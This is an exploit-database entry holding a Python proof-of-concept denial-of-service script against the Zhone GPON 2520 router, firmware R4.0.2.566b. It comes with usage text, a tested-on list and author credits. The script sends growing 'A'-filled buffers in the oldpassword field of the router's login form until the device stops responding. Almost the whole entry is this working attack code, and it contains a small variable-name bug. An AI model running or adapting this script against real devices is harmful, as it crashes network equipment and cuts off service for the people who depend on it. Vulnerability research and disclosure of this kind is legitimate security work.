发布 2015-01-21 漏洞条目

Zhone GPON 2520 R4.0.2.566b – Crash (PoC)

Exploit Source

from httplib2 import Http

from urllib import urlencode

import sys,time

#main function

if __name__ == "__main__":

if(len(sys.argv) != 2):

print '*********************************************************************************'

print ' GPON Zhone R4.0.2.566b D.O.S.'

print ' Tested on'

print ' GPON Zhone 2520'

print ' Hardware: 0040-48-02'

print ' Software: R4.0.2.566b'

print ' '

print ' Usage : python', sys.argv[0] + ' <ip>'

print ' Ex : python',sys.argv[0] + ' 192.168.15.1'

print ' Author : Kaczinski lramirez@websec.mx '

print ' URL : http://www.websec.mx/advisories'

print '*********************************************************************************'

sys.exit()

HOST = sys.argv[1]

LIMIT = 100000

COUNT = 1

SIZE = 10

BUFFER = ''

while len(BUFFER) < LIMIT:

BUFFER = '\x41' * COUNT

print "[+] Sending evil buffer with length:", len(BUFFER)

h = Http()

h.follow_redirects = True

data = dict(XWebPageName=buffer, oldpassword=BUFFER, password="", password2="test", passwdtip="test")

try:

resp, content = h.request("http://" + HOST + "/GponForm/LoginForm", "POST", urlencode(data))

except:

print "[+] GPON should be down, is not responding..."

sys.exit()

COUNT = COUNT * SIZE

print "[-] GPON not vulnerable"

相关漏洞条目